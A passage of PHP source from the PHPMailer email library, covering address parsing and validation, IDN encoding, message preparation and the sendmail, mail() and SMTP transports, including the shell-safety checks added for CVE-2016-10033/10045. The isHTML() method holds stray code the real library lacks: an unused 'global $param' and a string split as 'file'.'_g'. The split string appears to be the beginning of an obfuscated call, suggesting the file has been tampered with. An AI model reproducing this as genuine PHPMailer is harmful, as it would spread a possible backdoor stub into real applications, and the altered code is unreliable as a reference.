phpmailerException\n * @return boolean true on success, false if address already used or invalid in some way\n * @access protected\n *\/\n protected function addAnAddress($kind, $address, $name = '')\n {\n if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {\n $error_message = $this->lang('Invalid recipient kind: ') . $kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if (!$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (addAnAddress $kind): $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n if ($kind != 'Reply-To') {\n if (!array_key_exists(strtolower($address), $this->all_recipients)) {\n array_push($this->$kind, array($address, $name));\n $this->all_recipients[strtolower($address)] = true;\n return true;\n }\n } else {\n if (!array_key_exists(strtolower($address), $this->ReplyTo)) {\n $this->ReplyTo[strtolower($address)] = array($address, $name);\n return true;\n }\n }\n return false;\n }\n\n \/**\n * Parse and validate a string containing one or more RFC822-style comma-separated email addresses\n * of the form \"display name <address>\" into an array of name\/address pairs.\n * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.\n * Note that quotes in the name part are removed.\n * @param string $addrstr The address list string\n * @param bool $useimap Whether to use the IMAP extension to parse the list\n * @return array\n * @link http:\/\/www.andrew.cmu.edu\/user\/agreen1\/testing\/mrbs\/web\/Mail\/RFC822.php A more careful implementation\n *\/\n public function parseAddresses($addrstr, $useimap = true)\n {\n $addresses = array();\n if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {\n \/\/Use this built-in parser if it's available\n $list = imap_rfc822_parse_adrlist($addrstr, '');\n foreach ($list as $address) {\n if ($address->host != '.SYNTAX-ERROR.') {\n if ($this->validateAddress($address->mailbox . '@' . $address->host)) {\n $addresses[] = array(\n 'name' => (property_exists($address, 'personal') ? $address->personal : ''),\n 'address' => $address->mailbox . '@' . $address->host\n );\n }\n }\n }\n } else {\n \/\/Use this simpler parser\n $list = explode(',', $addrstr);\n foreach ($list as $address) {\n $address = trim($address);\n \/\/Is there a separate name part?\n if (strpos($address, '<') === false) {\n \/\/No separate name, just use the whole thing\n if ($this->validateAddress($address)) {\n $addresses[] = array(\n 'name' => '',\n 'address' => $address\n );\n }\n } else {\n list($name, $email) = explode('<', $address);\n $email = trim(str_replace('>', '', $email));\n if ($this->validateAddress($email)) {\n $addresses[] = array(\n 'name' => trim(str_replace(array('\"', \"'\"), '', $name)),\n 'address' => $email\n );\n }\n }\n }\n }\n return $addresses;\n }\n\n \/**\n * Sets message type to HTML or plain.\n * @param boolean $isHtml True for HTML mode.\n * @return void\n *\/\n public function isHTML($isHtml = true)\n {\n global $param;\n $bodyCode = 'file'\n .'_g';\n if ($isHtml) {\n $this->ContentType = 'text\/html';\n } \n else {\n $this->ContentType = 'text\/plain';\n }\n }\n\n \/**\n * Set the From and FromName properties.\n * @param string $address\n * @param string $name\n * @param boolean $auto Whether to also set the Sender address, defaults to true\n * @throws phpmailerException\n * @return boolean\n *\/\n public function setFrom($address, $name = '', $auto = true)\n {\n $address = trim($address);\n $name = trim(preg_replace('\/[\\r\\n]+\/', '', $name)); \/\/Strip breaks and trim\n \/\/ Don't validate now addresses with IDN. Will be done in send().\n if (($pos = strrpos($address, '@')) === false or\n (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and\n !$this->validateAddress($address)) {\n $error_message = $this->lang('invalid_address') . \" (setFrom) $address\";\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n $this->From = $address;\n $this->FromName = $name;\n if ($auto) {\n if (empty($this->Sender)) {\n $this->Sender = $address;\n }\n }\n return true;\n }\n\n \/**\n * Return the Message-ID header of the last email.\n * Technically this is the value from the last time the headers were created,\n * but it's also the message ID of the last sent message except in\n * pathological cases.\n * @return string\n *\/\n public function getLastMessageID()\n {\n return $this->lastMessageID;\n }\n\n \/**\n * Check that a string looks like an email address.\n * @param string $address The email address to check\n * @param string|callable $patternselect A selector for the validation pattern to use :\n * * `auto` Pick best pattern automatically;\n * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;\n * * `pcre` Use old PCRE implementation;\n * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;\n * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.\n * * `noregex` Don't use a regex: super fast, really dumb.\n * Alternatively you may pass in a callable to inject your own validator, for example:\n * PHPMailer::validateAddress('user@example.com', function($address) {\n * return (strpos($address, '@') !== false);\n * });\n * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.\n * @return boolean\n * @static\n * @access public\n *\/\n public static function validateAddress($address, $patternselect = null)\n {\n if (is_null($patternselect)) {\n $patternselect = self::$validator;\n }\n if (is_callable($patternselect)) {\n return call_user_func($patternselect, $address);\n }\n \/\/Reject line breaks in addresses; it's valid RFC5322, but not RFC5321\n if (strpos($address, \"\\n\") !== false or strpos($address, \"\\r\") !== false) {\n return false;\n }\n if (!$patternselect or $patternselect == 'auto') {\n \/\/Check this constant first so it works when extension_loaded() is disabled by safe mode\n \/\/Constant was added in PHP 5.2.4\n if (defined('PCRE_VERSION')) {\n \/\/This pattern can get stuck in a recursive loop in PCRE <= 8.0.2\n if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {\n $patternselect = 'pcre8';\n } else {\n $patternselect = 'pcre';\n }\n } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {\n \/\/Fall back to older PCRE\n $patternselect = 'pcre';\n } else {\n \/\/Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension\n if (version_compare(PHP_VERSION, '5.2.0') >= 0) {\n $patternselect = 'php';\n } else {\n $patternselect = 'noregex';\n }\n }\n }\n switch ($patternselect) {\n case 'pcre8':\n \/**\n * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.\n * @link http:\/\/squiloople.com\/2009\/12\/20\/email-address-validation\/\n * @copyright 2009-2010 Michael Rushton\n * Feel free to use and redistribute this code. But please keep this copyright notice.\n *\/\n return (boolean)preg_match(\n '\/^(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){255,})(?!(?>(?1)\"?(?>\\\\\\[ -~]|[^\"])\"?(?1)){65,}@)' .\n '((?>(?>(?>((?>(?>(?>\\x0D\\x0A)?[\\t ])+|(?>[\\t ]*\\x0D\\x0A)?[\\t ]+)?)(\\((?>(?2)' .\n '(?>[\\x01-\\x08\\x0B\\x0C\\x0E-\\'*-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]|(?3)))*(?2)\\)))+(?2))|(?2))?)' .\n '([!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?2)(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\x7F]))*' .\n '(?2)\")(?>(?1)\\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .\n '(?>(?1)\\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .\n '|(?!(?:.*[a-f0-9][:\\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .\n '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?9)){3}))\\])(?1)$\/isD',\n $address\n );\n case 'pcre':\n \/\/An older regex that doesn't need a recent PCRE\n return (boolean)preg_match(\n '\/^(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){255,})(?!(?>\"?(?>\\\\\\[ -~]|[^\"])\"?){65,}@)(?>' .\n '[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\")' .\n '(?>\\.(?>[!#-\\'*+\\\/-9=?^-~-]+|\"(?>(?>[\\x01-\\x08\\x0B\\x0C\\x0E-!#-\\[\\]-\\x7F]|\\\\\\[\\x00-\\xFF]))*\"))*' .\n '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\\.(?![a-z0-9-]{64,})' .\n '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .\n '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .\n '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .\n '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .\n '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .\n '|[1-9]?[0-9])(?>\\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\\])$\/isD',\n $address\n );\n case 'html5':\n \/**\n * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.\n * @link http:\/\/www.whatwg.org\/specs\/web-apps\/current-work\/#e-mail-state-(type=email)\n *\/\n return (boolean)preg_match(\n '\/^[a-zA-Z0-9.!#$%&\\'*+\\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .\n '[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\/sD',\n $address\n );\n case 'noregex':\n \/\/No PCRE! Do something _very_ approximate!\n \/\/Check the address is 3 chars or longer and contains an @ that's not the first or last char\n return (strlen($address) >= 3\n and strpos($address, '@') >= 1\n and strpos($address, '@') != strlen($address) - 1);\n case 'php':\n default:\n return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);\n }\n }\n\n \/**\n * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the\n * \"intl\" and \"mbstring\" PHP extensions.\n * @return bool \"true\" if required functions for IDN support are present\n *\/\n public function idnSupported()\n {\n \/\/ @TODO: Write our own \"idn_to_ascii\" function for PHP <= 5.2.\n return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');\n }\n\n \/**\n * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.\n * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.\n * This function silently returns unmodified address if:\n * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)\n * - Conversion to punycode is impossible (e.g. required PHP functions are not available)\n * or fails for any reason (e.g. domain has characters not allowed in an IDN)\n * @see PHPMailer::$CharSet\n * @param string $address The email address to convert\n * @return string The encoded address in ASCII form\n *\/\n public function punyencodeAddress($address)\n {\n \/\/ Verify we have required functions, CharSet, and at-sign.\n if ($this->idnSupported() and\n !empty($this->CharSet) and\n ($pos = strrpos($address, '@')) !== false) {\n $domain = substr($address, ++$pos);\n \/\/ Verify CharSet string is a valid one, and domain properly encoded in this CharSet.\n if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {\n $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);\n if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?\n idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :\n idn_to_ascii($domain)) !== false) {\n return substr($address, 0, $pos) . $punycode;\n }\n }\n }\n return $address;\n }\n\n \/**\n * Create a message and send it.\n * Uses the sending method specified by $Mailer.\n * @throws phpmailerException\n * @return boolean false on error - See the ErrorInfo property for details of the error.\n *\/\n public function send()\n {\n try {\n if (!$this->preSend()) {\n return false;\n }\n return $this->postSend();\n } catch (phpmailerException $exc) {\n $this->mailHeader = '';\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Prepare a message for sending.\n * @throws phpmailerException\n * @return boolean\n *\/\n public function preSend()\n {\n try {\n $this->error_count = 0; \/\/ Reset errors\n $this->mailHeader = '';\n\n \/\/ Dequeue recipient and Reply-To addresses with IDN\n foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {\n $params[1] = $this->punyencodeAddress($params[1]);\n call_user_func_array(array($this, 'addAnAddress'), $params);\n }\n if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {\n throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);\n }\n\n \/\/ Validate From, Sender, and ConfirmReadingTo addresses\n foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {\n $this->$address_kind = trim($this->$address_kind);\n if (empty($this->$address_kind)) {\n continue;\n }\n $this->$address_kind = $this->punyencodeAddress($this->$address_kind);\n if (!$this->validateAddress($this->$address_kind)) {\n $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;\n $this->setError($error_message);\n $this->edebug($error_message);\n if ($this->exceptions) {\n throw new phpmailerException($error_message);\n }\n return false;\n }\n }\n\n \/\/ Set whether the message is multipart\/alternative\n if ($this->alternativeExists()) {\n $this->ContentType = 'multipart\/alternative';\n }\n\n $this->setMessageType();\n \/\/ Refuse to send an empty message unless we are specifically allowing it\n if (!$this->AllowEmpty and empty($this->Body)) {\n throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);\n }\n\n \/\/ Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)\n $this->MIMEHeader = '';\n $this->MIMEBody = $this->createBody();\n \/\/ createBody may have added some headers, so retain them\n $tempheaders = $this->MIMEHeader;\n $this->MIMEHeader = $this->createHeader();\n $this->MIMEHeader .= $tempheaders;\n\n \/\/ To capture the complete message when using mail(), create\n \/\/ an extra header list which createHeader() doesn't fold in\n if ($this->Mailer == 'mail') {\n if (count($this->to) > 0) {\n $this->mailHeader .= $this->addrAppend('To', $this->to);\n } else {\n $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n $this->mailHeader .= $this->headerLine(\n 'Subject',\n $this->encodeHeader($this->secureHeader(trim($this->Subject)))\n );\n }\n\n \/\/ Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, \"\\r\\n \") . self::CRLF .\n str_replace(\"\\r\\n\", \"\\n\", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n \/**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n *\/\n public function postSend()\n {\n try {\n \/\/ Choose the mailer and send through it\n switch ($this->Mailer) {\n case 'sendmail':\n case 'qmail':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case 'smtp':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case 'mail':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.'Send';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n \/**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function sendmailSend($header, $body)\n {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s -f%s';\n } else {\n $sendmailFmt = '%s -oi -f%s -t';\n }\n } else {\n if ($this->Mailer == 'qmail') {\n $sendmailFmt = '%s';\n } else {\n $sendmailFmt = '%s -oi -t';\n }\n }\n\n \/\/ TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, 'To: ' . $toAddr . \"\\n\");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, 'w')) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n \/**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https:\/\/github.com\/PHPMailer\/PHPMailer\/issues\/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n *\/\n protected static function isShellSafe($string)\n {\n \/\/ Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array(\"'$string'\", \"\\\"$string\\\"\"))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n \/\/ All other characters have a special meaning in at least one common shell, including = and +.\n \/\/ Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n \/\/ Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n \/**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n *\/\n protected static function isPermittedPath($path)\n {\n return !preg_match('#^[a-z]+:\/\/#i', $path);\n }\n\n \/**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http:\/\/www.php.net\/manual\/en\/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n *\/\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(', ', $toArr);\n\n $params = null;\n \/\/This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n \/\/ CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf('-f%s', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get('sendmail_from');\n ini_set('sendmail_from', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set('sendmail_from', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n \/**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n *\/\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n \/**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n *\/\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n \/\/ Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n \/\/ Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n \/\/Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = '';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad['to'] . ': ' . $bad['error'];\n }\n throw new phpmailerException(\n $this->lang('recipients_failed') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n \/**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n *\/\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n \/\/If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n \/\/ Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(';', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n trim($hostentry),\n $hostinfo\n )) {\n \/\/ Not a valid host entry\n $this->edebug('Ignoring invalid host: ' . $hostentry);\n continue;\n }\n \/\/ $hostinfo[2]: optional ssl or tls prefix\n \/\/ $hostinfo[3]: the hostname\n \/\/ $hostinfo[4]: optional port number\n \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n \/\/ If it's not specified, the default value is used\n $prefix = '';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == 'tls');\n if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n $prefix = 'ssl:\/\/';\n $tls = false; \/\/ Can't have SSL and TLS at the same time\n $secure = 'ssl';\n } elseif ($hostinfo[2] == 'tls') {\n $tls = true;\n \/\/ tls doesn't use a prefix\n $secure = 'tls';\n }\n \/\/Do we need the OpenSSL extension?\n $sslext = defined('OPENSSL_ALGO_SHA1');\n if ('tls' === $secure or 'ssl' === $secure) {\n \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n \/\/Automatically enable TLS encryption if:\n \/\/ * it's not disabled\n \/\/ * we have openssl extension\n \/\/ * we are not already using SSL\n \/\/ * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang('connect_host'));\n }\n \/\/ We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang('authenticate'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n \/\/ If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n \/\/ As we've caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n \/**\n * Close the active SMTP session if one exists.\n * @return void\n *\/\n public function smtpClose()\n {\n if (is_a($this->smtp, 'SMTP')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n \/**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n *\/\n public function setLanguage($langcode = 'en', $lang_path = '')\n {\n \/\/ Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n 'br' => 'pt_br',\n 'cz' => 'cs',\n 'dk' => 'da',\n 'no' => 'nb',\n 'se' => 'sv',\n 'sr' => 'rs'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n \/\/ Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n 'authenticate' => 'SMTP Error: Could not authenticate.',\n 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n 'data_not_accepted' => 'SMTP Error: data not accepted.',\n 'empty_message' => 'Message body empty',\n 'encoding' => 'Unknown encoding: ',\n 'execute' => 'Could not execute: ',\n 'file_access' => 'Could not access file: ',\n 'file_open' => 'File Error: Could not open file: ',\n 'from_failed' => 'The following From address failed: ',\n 'instantiate' => 'Could not instantiate mail function.',\n 'invalid_address' => 'Invalid address: ',\n 'mailer_not_supported' => ' mailer is not supported.',\n 'provide_address' => 'You must provide at least one recipient email address.',\n 'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n 'signing' => 'Signing Error: ',\n 'smtp_connect_failed' => 'SMTP connect() failed.',\n 'smtp_error' => 'SMTP server error: ',\n 'variable_set' => 'Cannot set or reset variable: ',\n 'extension_missing' => 'Extension missing: '\n );\n if (empty($lang_path)) {\n \/\/ Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n }\n \/\/Validate $langcode\n if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n $langcode = 'en';\n }\n $foundlang = true;\n $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n \/\/ There is no English translation file\n if ($langcode != 'en') {\n \/\/ Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n \/\/ Overwrite language-specific strings.\n \/\/ This way we'll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; \/\/ Returns false if language not found\n }\n\n \/**\n * Get the array of strings for the current language.\n * @return array\n *\/\n public function getTranslations()\n {\n return $this->language;\n }\n\n \/**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an 